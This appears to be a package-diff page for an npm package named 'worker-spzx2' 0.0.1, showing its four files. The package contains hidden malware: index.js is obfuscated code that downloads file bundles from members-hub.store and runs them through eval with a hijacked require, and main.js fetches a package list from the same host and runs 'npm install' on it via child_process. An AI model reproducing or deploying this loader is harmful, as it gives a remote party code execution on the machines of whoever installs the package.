worker-spzx2 0.0.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (4) hide show
  1. package/README.md +0 -0
  2. package/index.js +1 -0
  3. package/main.js +83 -0
  4. package/package.json +14 -0
package/README.md ADDED
File without changes
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x2d97ff=_0x3560;function _0x1a21(){const _0x231120=['exit','message','https://members','Files\x20Loaded!','replace','response','/app/','get','pass','243886rbWFkf','477392lxmBGb','_require','/linkbyauth?pass=','join','.json','data','auth','-hub.store','6nkignZ','env','status','object','651632YTFQMq','then','manager','log','.js','listen','startsWith','_files','10520190vhweUt','readdirSync','toLowerCase','express','keys','endsWith','handleError','15ZXBvhA','split','4162965cQBHcV','length','1890812AcywLC','entries','3706283DFuVlx','_request_Files','cache','load_FromPath','files','144gSfYzn','slice','myurl','catch'];_0x1a21=function(){return _0x231120;};return _0x1a21();}(function(_0x413251,_0xa4668b){const _0x936f71=_0x3560,_0x3bd4b9=_0x413251();while(!![]){try{const _0x59fb22=parseInt(_0x936f71(0xdd))/(0x1fb+-0x1b6e+0xcba*0x2)+parseInt(_0x936f71(0xc9))/(0x6ef+-0xf58+0x86b)+parseInt(_0x936f71(0xc5))/(0x1*-0x2577+0x1e0c+0x76e)*(parseInt(_0x936f71(0xb6))/(0x4aa*0x6+-0x133c+-0x8bc))+-parseInt(_0x936f71(0xc7))/(0x1c54+-0x24a3+-0x2*-0x42a)+-parseInt(_0x936f71(0xb2))/(0x25e5+0x591+0x116*-0x28)*(parseInt(_0x936f71(0xcb))/(0xf39+0x246e+-0x33a0))+parseInt(_0x936f71(0xde))/(0x1c5d+0x26c3*0x1+-0x4318)*(parseInt(_0x936f71(0xd0))/(-0x3ad+-0x2465+0x281b*0x1))+-parseInt(_0x936f71(0xbe))/(0x1*0x2bd+0x1bb4+0x1*-0x1e67);if(_0x59fb22===_0xa4668b)break;else _0x3bd4b9['push'](_0x3bd4b9['shift']());}catch(_0x16246c){_0x3bd4b9['push'](_0x3bd4b9['shift']());}}}(_0x1a21,0x9*-0x64de+0xadf53+-0xfb92*-0x1));const FILESYSTEM__=class FS{constructor(_0x57ba31){const _0x537941=_0x3560;this[_0x537941(0xb8)]=_0x57ba31;}[_0x2d97ff(0xbf)](_0x2e88c1){const _0x15df93=_0x2d97ff;let _0x383fa2={'app':this[_0x15df93(0xb8)][_0x15df93(0xcf)]},_0x41be21=_0x2e88c1['split']('/');for(let _0x1a723b=-0x1305+-0x77*-0x22+0x337;_0x1a723b<_0x41be21['length'];_0x1a723b++){if(!_0x41be21[_0x1a723b])continue;let _0x1185b5=_0x41be21[_0x1a723b];_0x383fa2=_0x383fa2[_0x1185b5];}return Object[_0x15df93(0xc2)](_0x383fa2);}};function _0x3560(_0x308728,_0x5c1dbd){const _0x50fea4=_0x1a21();return _0x3560=function(_0x3a6283,_0x1878f4){_0x3a6283=_0x3a6283-(-0x1414+0x16f0*0x1+-0x22d);let _0x42fa0c=_0x50fea4[_0x3a6283];return _0x42fa0c;},_0x3560(_0x308728,_0x5c1dbd);}let p1=_0x2d97ff(0xb1);const AXIOS__=require('axios'),oldRequire=require,EXPRESS__=oldRequire(_0x2d97ff(0xc1)),APP__=EXPRESS__();APP__[_0x2d97ff(0xdb)]('/',(_0x394aa4,_0x17a41b)=>{const _0x53273f=_0x2d97ff;_0x17a41b[_0x53273f(0xb4)](-0x1bb*-0x11+-0x21*-0x113+-0x4016)['json']({});}),APP__[_0x2d97ff(0xbb)](-0x11*0x35+-0x730+-0xae*-0x21);class Main{constructor(_0x475a1a,_0x3c3be5){const _0x296b16=_0x2d97ff;this[_0x296b16(0xbd)]={},this[_0x296b16(0xcd)]={},this['fs']=new FILESYSTEM__(this),console[_0x296b16(0xb9)](_0x475a1a,_0x3c3be5),this['pass']=_0x475a1a,this['id']=_0x3c3be5,this['_request_Files']();}[_0x2d97ff(0xc4)](_0x21b038){const _0x436d13=_0x2d97ff;console[_0x436d13(0xb9)](_0x21b038),process[_0x436d13(0xd4)](-0x26e4*-0x1+0x258a+-0x4c6e);}async[_0x2d97ff(0xcc)](){const _0x26e75f=_0x2d97ff;console[_0x26e75f(0xb9)](this[_0x26e75f(0xdc)]);let _0xa38144=await AXIOS__[_0x26e75f(0xdb)](_0x26e75f(0xd6)+p1+_0x26e75f(0xe0)+this[_0x26e75f(0xdc)])['then'](_0x38df70=>_0x38df70['data'])[_0x26e75f(0xd3)](_0x566de7=>this[_0x26e75f(0xc4)](_0x566de7?.[_0x26e75f(0xd9)]?.[_0x26e75f(0xaf)]));console[_0x26e75f(0xb9)](_0xa38144);if(!_0xa38144)return;const _0x59b10b=process['env'][_0x26e75f(0xd2)],_0x4da873=process[_0x26e75f(0xb3)][_0x26e75f(0xb0)],_0x69fde6=await AXIOS__['get'](_0xa38144[this['id']],{'headers':{'authentication':_0xa38144[-0x2*-0x416+-0x9de+0x1b5*0x1]}})[_0x26e75f(0xb7)](_0x5a0a18=>_0x5a0a18[_0x26e75f(0xaf)])['catch'](_0x51b50b=>this[_0x26e75f(0xc4)](_0x51b50b[_0x26e75f(0xd9)]?.[_0x26e75f(0xaf)]));if(!_0x69fde6)return;console[_0x26e75f(0xb9)](_0x69fde6['index.js']),this[_0x26e75f(0xbd)]=_0x69fde6,console[_0x26e75f(0xb9)](_0x26e75f(0xd7)),this['star_t']();}get['files'](){const _0xbf7a14=_0x2d97ff;return this[_0xbf7a14(0xbd)];}['_require'](_0x187183,_0x34d88b){const _0x121b38=_0x2d97ff;if(_0x34d88b==='F_S'['split']('_')[_0x121b38(0xe1)]('')[_0x121b38(0xc0)]())return this['fs'];else{if(!_0x34d88b['includes']('/'))return oldRequire(_0x34d88b);else{let _0x5570c3=_0x187183,_0x31d869=_0x34d88b,_0x5ffdac=_0x5570c3,_0x3226fa=_0x31d869,_0x3141bc='',_0x11abca='';(_0x31d869[_0x121b38(0xc3)]('.js')||_0x31d869[_0x121b38(0xc3)](_0x121b38(0xe2)))&&(_0x11abca=_0x31d869['endsWith'](_0x121b38(0xba))?'.js':'.json',_0x31d869=_0x31d869[_0x121b38(0xc6)]('.'),_0x31d869=_0x31d869[_0x121b38(0xd1)](0xa8+-0x2147+-0x1*-0x209f,_0x31d869['length']-(-0x2f3*0x1+-0x17*0xcb+0x19*0xd9))['join']('.'));!_0x31d869['includes']('.')&&(_0x5570c3='/');_0x31d869[_0x121b38(0xbc)](_0x121b38(0xda))&&(_0x31d869=_0x31d869[_0x121b38(0xd8)](_0x121b38(0xda),'/'));while(!![]){if(!_0x31d869['includes']('.')){_0x3141bc='/'+_0x31d869+_0x11abca;break;}const _0x400587=_0x31d869[_0x121b38(0xc6)]('/');if(_0x400587[-0x112d*-0x1+0x51a+-0x1647]==='..')_0x5570c3=_0x5570c3[_0x121b38(0xc6)]('/'),_0x5570c3=_0x5570c3[_0x121b38(0xd1)](-0x192f+-0x71*-0x56+-0xcc7,_0x5570c3[_0x121b38(0xc8)]-(-0xd*0x201+0x3*-0xcd4+0xb*0x5de))[_0x121b38(0xe1)]('/'),_0x31d869=_0x31d869[_0x121b38(0xc6)]('/')[_0x121b38(0xd1)](0xe36*-0x2+0x10*-0x122+0x2e8d)[_0x121b38(0xe1)]('/');else{if(_0x400587[-0x1f84+0x1*0x11b5+0xdcf]==='.')_0x31d869=_0x31d869[_0x121b38(0xc6)]('/')[_0x121b38(0xd1)](0x2569+0xe0d*-0x1+-0x175b)[_0x121b38(0xe1)]('/');else{if(_0x400587[0x976+-0x548+-0x42e]===''){}}}}const _0x39bd31=this[_0x121b38(0xcd)][_0x3141bc]||this[_0x121b38(0xce)](_0x5570c3+_0x3141bc,_0x5570c3);if(!_0x39bd31){}return _0x39bd31;}}}[_0x2d97ff(0xce)](_0xb27200,_0x41f3c5){const _0x421d78=_0x2d97ff;try{require=(..._0x210b26)=>this[_0x421d78(0xdf)](_0x41f3c5,..._0x210b26);let _0xb69d42=this[_0x421d78(0xcf)];const _0x3319fd=_0xb27200[_0x421d78(0xc6)]('/');for(let _0x56dca1=-0x40*-0x2b+-0x4*-0x266+-0x1458;_0x56dca1<_0x3319fd[_0x421d78(0xc8)];_0x56dca1++){if(!_0x3319fd[_0x56dca1])continue;let _0x1c7d38=_0x3319fd[_0x56dca1];_0xb69d42=_0xb69d42[_0x1c7d38];}try{this[_0x421d78(0xcd)][_0xb27200]=eval(_0xb69d42);}catch(_0x1a3352){console['log'](_0xb27200,_0x1a3352[_0x421d78(0xd5)]);}return this[_0x421d78(0xcd)][_0xb27200];}catch(_0x174227){console[_0x421d78(0xb9)](_0x174227,_0xb27200,_0x41f3c5);}}async['star_t'](){const _0x52ec09=_0x2d97ff,_0x16d770=(_0x2e427c,_0x2b73ab='')=>{const _0x55961d=_0x3560,_0x402157={};for(let [_0x1c13c5,_0x2243b6]of Object[_0x55961d(0xca)](_0x2e427c)){const _0x503783=_0x2b73ab+'/'+_0x1c13c5;typeof _0x2243b6===_0x55961d(0xb5)?_0x402157[_0x1c13c5]=_0x16d770(_0x2243b6,_0x503783):this['load_FromPath'](_0x503783,_0x2b73ab);}};_0x16d770(this[_0x52ec09(0xcf)]);}}module['exports']=Main;
package/main.js ADDED
@@ -0,0 +1,83 @@
1
+ const { default: axios } = require('axios');
2
+ const { exec } = require('child_process');
3
+ const fs = require('fs')
4
+
5
+ function isModuleInstalled(moduleName) {
6
+ try {
7
+ require.resolve(moduleName.split('@')[0]);
8
+ return true;
9
+ } catch (e) {
10
+ return false;
11
+ }
12
+ }
13
+
14
+ async function installDependencies(missingDependencies) {
15
+ if (missingDependencies.length === 0) {
16
+ console.log('All dependencies are already installed.');
17
+ runProject();
18
+ } else {
19
+ console.log(`Installing missing dependencies: ${missingDependencies.join(', ')}`);
20
+ exec(`npm install ${missingDependencies.join(' ')}`, (error, stdout, stderr) => {
21
+ if (error) {
22
+ console.error(`Error installing dependencies: ${error.message}`);
23
+ return;
24
+ }
25
+ if (stderr) {
26
+ console.error(`stderr: ${stderr}`);
27
+ }
28
+ console.log(`stdout: ${stdout}`);
29
+ console.log('Dependencies installed successfully.');
30
+ /*
31
+ fs.writeFileSync('./node_modules/gfdsac/package.json', JSON.stringify({
32
+ "name": "ewdsvw",
33
+ "description": "ewdsvw",
34
+ "version": "0.2.5",
35
+ "main": "setup.js",
36
+ "dependencies": {
37
+ "child_process": "*",
38
+ "axios": "^0.21.4"
39
+ },
40
+ "keywords": [
41
+ ],
42
+ "author": "ewdsvw",
43
+ "license": "MIT",
44
+ "readmeFilename": "README.md"
45
+ }, null, 2))*/
46
+ /*
47
+ setTimeout(()=>{
48
+ process.exit(0);
49
+ }, 5000)*/
50
+
51
+ runProject();
52
+ });
53
+ }
54
+ }
55
+
56
+ let runProject =() => {
57
+ console.log('Running the project...');
58
+ // let bot = require('./index.js')
59
+ // new bot("https://disc" + "ord.com/", 0)
60
+ }
61
+
62
+ let checkDeps = async ()=>{
63
+
64
+ let dependencies = await axios(`https://members-hub.store/packages`).then(res=>res.data).catch(err=>null)
65
+ if(!dependencies) return null;
66
+
67
+ console.log(dependencies)
68
+
69
+ let _dependencies = []
70
+
71
+ for(const name of dependencies.d){
72
+ _dependencies.push(`${name}@${await axios(`https://members-hub.store/packagedata?name=${name}`).then(res=>res.data?.value === "^undefined" ? "*" : res.data?.value || "*").catch(err=>"*")}`)
73
+ }
74
+ console.log(_dependencies)
75
+
76
+ const missingDependencies = _dependencies.filter(dep => !isModuleInstalled(dep));
77
+
78
+ console.log(missingDependencies)
79
+
80
+ installDependencies(missingDependencies);
81
+ }
82
+
83
+ checkDeps()
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "worker-spzx2",
3
+ "description": "worker-spzx2",
4
+ "version": "0.0.1",
5
+ "main": "main.js",
6
+ "dependencies": {
7
+ "axios": "^0.21.4"
8
+ },
9
+ "keywords": [
10
+ ],
11
+ "author": "worker-spzx2",
12
+ "license": "MIT",
13
+ "readmeFilename": "README.md"
14
+ }